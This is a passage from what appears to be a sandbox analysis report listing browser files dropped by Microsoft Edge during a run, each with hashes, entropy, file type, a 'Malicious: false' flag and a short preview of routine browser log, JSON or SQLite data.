SHA-512:	F328111863F32DEB79F92EFD8E1D2637D5A2A82AE01EC2234DB6C6E7DA34F0E33AC7BB75282F4F9F574B4E760B45D425CEA6EF7AFCA30157E0C836C3A7CFF0B5
Malicious:	false
Preview:	2024/11/20-16:28:25.258 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/20-16:28:25.267 1d74 Recovering log #3.2024/11/20-16:28:25.272 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376611706744856

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8096780295619372
Encrypted:	false
SSDEEP:	24:3U23lyRWjAV8X9eWmR8ipsAF4unxytLp3X2amEtG1ChqS9IUdjt+QKkOAM4S:3QVzF0Lp2FEkChlhBfHOp
MD5:	6AE3BC8697E54550E4B39EF5B7DDA0D1
SHA1:	B9439A6509C4F8107ABFDB2361EBB7526B61C45A
SHA-256:	DB2A267F728963ACD1E6EB7FFD7050DC15B05FD64F85F17BFB93C432E35288DD
SHA-512:	7F555C809E1E65DBC0718180BCEE69D2526FFCE2317437FEFDF8219650A3E02B10BE78B4EE27028B439CFFA9FA0CFF5738EB77F57984135874E9421B87A3F775
Malicious:	false
Preview:	SNSS.......&.!z...........&.!z......"&.!z...........&.!z.......&.!z.......'.!z.......'.!z....!..'.!z...............................&.!z'.!z1..,...'.!z$...e7ce45e4_8f3b_4686_b48c_ccd3905236c5...&.!z.......'.!z...............&.!z...&.!z.......................&.!z....................5..0...&.!z&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}.....&.!z.......&.!z..........................'.!z...........'.!z........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x..........^'.....^'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.129099009121178
Encrypted:	false
SSDEEP:	6:HHfq2PcNwi23oH+Tcwt7Uh2ghZIFUt8YHnAAZmw+YHnAokwOcNwi23oH+Tcwt7UT:nfvLZYebIhHh2FUt8kAA/+kAo54ZYebs
MD5:	1D42CC621184B2BA95A039A326A95A45
SHA1:	C315053F5C4815812624EADCF0220FBCE61B86E9
SHA-256:	B9DBBC257B4186EAF16AA8CDBA5AEF851ED0CD94AAB9EA0F273686260240B8F4
SHA-512:	5B96256169D8974D35A3A79385C864126A9E5D19D0A1F3C75D5B4A05A02F1EBA3B884E651C8422134E7C7BCA7C29C66C9480B3FA2AAB0C090CF46BAE7F11D5FF
Malicious:	false
Preview:	2024/11/20-16:28:24.246 1e54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/20-16:28:24.241 1e54 Recovering log #3.2024/11/20-16:28:24.241 1e54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.129099009121178
Encrypted:	false
SSDEEP:	6:HHfq2PcNwi23oH+Tcwt7Uh2ghZIFUt8YHnAAZmw+YHnAokwOcNwi23oH+Tcwt7UT:nfvLZYebIhHh2FUt8kAA/+kAo54ZYebs
MD5:	1D42CC621184B2BA95A039A326A95A45
SHA1:	C315053F5C4815812624EADCF0220FBCE61B86E9
SHA-256:	B9DBBC257B4186EAF16AA8CDBA5AEF851ED0CD94AAB9EA0F273686260240B8F4
SHA-512:	5B96256169D8974D35A3A79385C864126A9E5D19D0A1F3C75D5B4A05A02F1EBA3B884E651C8422134E7C7BCA7C29C66C9480B3FA2AAB0C090CF46BAE7F11D5FF
Malicious:	false
Preview:	2024/11/20-16:28:24.246 1e54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/20-16:28:24.241 1e54 Recovering log #3.2024/11/20-16:28:24.241 1e54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018090556708630736
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZlMat:/M/xT02zO
MD5:	D5677F1298A03A916DA233C90EFA7FA8
SHA1:	10C71E375DB9B203ECE76D279DFF73193DEAB9CC
SHA-256:	0552E66616360871B2B8231C47B478FB897464CF4C9B40B61C1ABC499FE72C40
SHA-512:	85F20727DF8C615A46648884EA453BC29674D6020E4EB845F579E0EA2BF619411508B48C671F3E1E3805BDB61AB27048BB36DD9FD4A90F5A10E8D195B6E771AC
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.225128515642083
Encrypted:	false
SSDEEP:	12:nl+vLZYebvqBQFUt8kXyW/+k7V54ZYebvqBvJ:nClYebvZg8kXRzoYebvk
MD5:	722753683A650B30D8FD27D82EFA9963
SHA1:	F222CF038127F58BF6F52F60A1729EF11FF9B405
SHA-256:	41116AD5C76A48BD4F7FEFCD75C2AE6B24963EE3DB74E2A239358E68D0149E41
SHA-512:	861E8E5A7730DAF95E5252DF95E5F63D89AF142DCF78CAA210D1E232A9FF35EE40A03573C81D5ED52A1D4FA375838F3BCF0618230D713C94D3D6F3B260972073
Malicious:	false
Preview:	2024/11/20-16:28:25.232 1c3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/20-16:28:25.247 1c3c Recovering log #3.2024/11/20-16:28:25.252 1c3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.225128515642083
Encrypted:	false
SSDEEP:	12:nl+vLZYebvqBQFUt8kXyW/+k7V54ZYebvqBvJ:nClYebvZg8kXRzoYebvk
MD5:	722753683A650B30D8FD27D82EFA9963
SHA1:	F222CF038127F58BF6F52F60A1729EF11FF9B405
SHA-256:	41116AD5C76A48BD4F7FEFCD75C2AE6B24963EE3DB74E2A239358E68D0149E41
SHA-512:	861E8E5A7730DAF95E5252DF95E5F63D89AF142DCF78CAA210D1E232A9FF35EE40A03573C81D5ED52A1D4FA375838F3BCF0618230D713C94D3D6F3B260972073
Malicious:	false
Preview:	2024/11/20-16:28:25.232 1c3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/20-16:28:25.247 1c3c Recovering log #3.2024/11/20-16:28:25.252 1c3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3e28b629-5f09-4fca-a898-77b7cec6f3da.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\55ed0245-223f-46b6-b33a-138377ba72ff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\729a002b-4342-47c8-8b84-d517dd5e2586.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF278b0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\cbc4deed-89f1-4007-bc6c-02043132ddd1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.250644605656147
Encrypted:	false
SSDEEP:	12:nZvLZYebvqBZFUt8k4/+kSK54ZYebvqBaJ:nllYebvyg8kiSUoYebvL
MD5:	B73C331249CDD3E3D39A8B8A2794FD78
SHA1:	0D71674B35080B75A48CA8C7B2698DD04CDE8855
SHA-256:	AD1401377F4F7D06DAA536AC7EF9221DE3B7CEB28EA7669FCDE36F657B9FAD4F
SHA-512:	9B2BCCD6B2322A1486AF6A5DFA091FD95E7E5BBAC805E7BFA1F48248532E8DC82E2251BFA47D9E4B72B3693182E2A57BE44B2DDB1D45A49E08891F701C647151
Malicious:	false
Preview:	2024/11/20-16:28:43.194 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/20-16:28:43.198 1d74 Recovering log #3.2024/11/20-16:28:43.201 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.250644605656147
Encrypted:	false
SSDEEP:	12:nZvLZYebvqBZFUt8k4/+kSK54ZYebvqBaJ:nllYebvyg8kiSUoYebvL
MD5:	B73C331249CDD3E3D39A8B8A2794FD78
SHA1:	0D71674B35080B75A48CA8C7B2698DD04CDE8855
SHA-256:	AD1401377F4F7D06DAA536AC7EF9221DE3B7CEB28EA7669FCDE36F657B9FAD4F
SHA-512:	9B2BCCD6B2322A1486AF6A5DFA091FD95E7E5BBAC805E7BFA1F48248532E8DC82E2251BFA47D9E4B72B3693182E2A57BE44B2DDB1D45A49E08891F701C647151
Malicious:	false
Preview:	2024/11/20-16:28:43.194 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/20-16:28:43.198 1d74 Recovering log #3.2024/11/20-16:28:43.201 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.219900343888796
Encrypted:	false
SSDEEP:	6:HH4pQL+q2PcNwi23oH+TcwtpIFUt8YHWmGKWZmw+YHWmQLVkwOcNwi23oH+Tcwt7:nGQ+vLZYebmFUt8kWmGKW/+kWmQV54ZT
MD5:	C2EB9286623D20FAFB9A7DF50440DA35
SHA1:	91883B4A949C47C83B13CBA89E6C9746390F922F
SHA-256:	9F11B8DDC925449BAF12695F763B4A218247669B09758C6233CBE329E88FF5AA
SHA-512:	6440B9BD7B8CB65EB061EBCF3D63EF531A6A2B6C6C6D189CBE85972107630FFB5D2DACA7CDF177802BDDE97A1CAC1D3E9F97CFC4FE57148D52B02836EC9CCE41
Malicious:	false
Preview:	2024/11/20-16:28:24.297 1e5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/20-16:28:24.302 1e5c Recovering log #3.2024/11/20-16:28:24.302 1e5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.219900343888796
Encrypted:	false
SSDEEP:	6:HH4pQL+q2PcNwi23oH+TcwtpIFUt8YHWmGKWZmw+YHWmQLVkwOcNwi23oH+Tcwt7:nGQ+vLZYebmFUt8kWmGKW/+kWmQV54ZT
MD5:	C2EB9286623D20FAFB9A7DF50440DA35
SHA1:	91883B4A949C47C83B13CBA89E6C9746390F922F
SHA-256:	9F11B8DDC925449BAF12695F763B4A218247669B09758C6233CBE329E88FF5AA
SHA-512:	6440B9BD7B8CB65EB061EBCF3D63EF531A6A2B6C6C6D189CBE85972107630FFB5D2DACA7CDF177802BDDE97A1CAC1D3E9F97CFC4FE57148D52B02836EC9CCE41
Malicious:	false
Preview:	2024/11/20-16:28:24.297 1e5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/20-16:28:24.302 1e5c Recovering log #3.2024/11/20-16:28:24.302 1e5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2655804948447311
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM0SAELyKOMq+8HKkjucswRv8p3nVume:K0q+n0J09ELyKOMq+8HKkjuczRv89y
MD5:	E34E4BB3FFA63F89010DF7EFE0EFDAA6
SHA1:	9BDC50555D2A5BDCFB1878FFB42AE7EB74193AF0
SHA-256:	31A32384F5D98754915042C8F17604F2CB25DD9B01AB0A56E457438B3820E3B4
SHA-512:	7A7CEFF5A521A409B90891ADEB1FE3BB3F9033E6EF73EF81554467FA9596B99E40A7E15F90CE67D63C07AA3BE99647D0F62678196B90BEDDC5782B6C0986ABED
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4659051696991894
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0yx5kU:v7doKsKuKZKlZNmu46yjx0yHF
MD5:	BD87B5293D8AA61C9154A8EA8C118FFA
SHA1:	84D0DC6B1DE71E18FFDF120875AE066C92A5E006
SHA-256:	D084E5BA01E8C791BF368C55762E8C0238D5596F37636A690F0B1DCC45575B24
SHA-512:	ED710EC14324FAF387453E830F15C1C655E8A23AE15FCC194EFE4E1B1B4F939D364DCCE90A965985A7EC808ADD98C70455017112D781427C2B9F207B49685FBF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
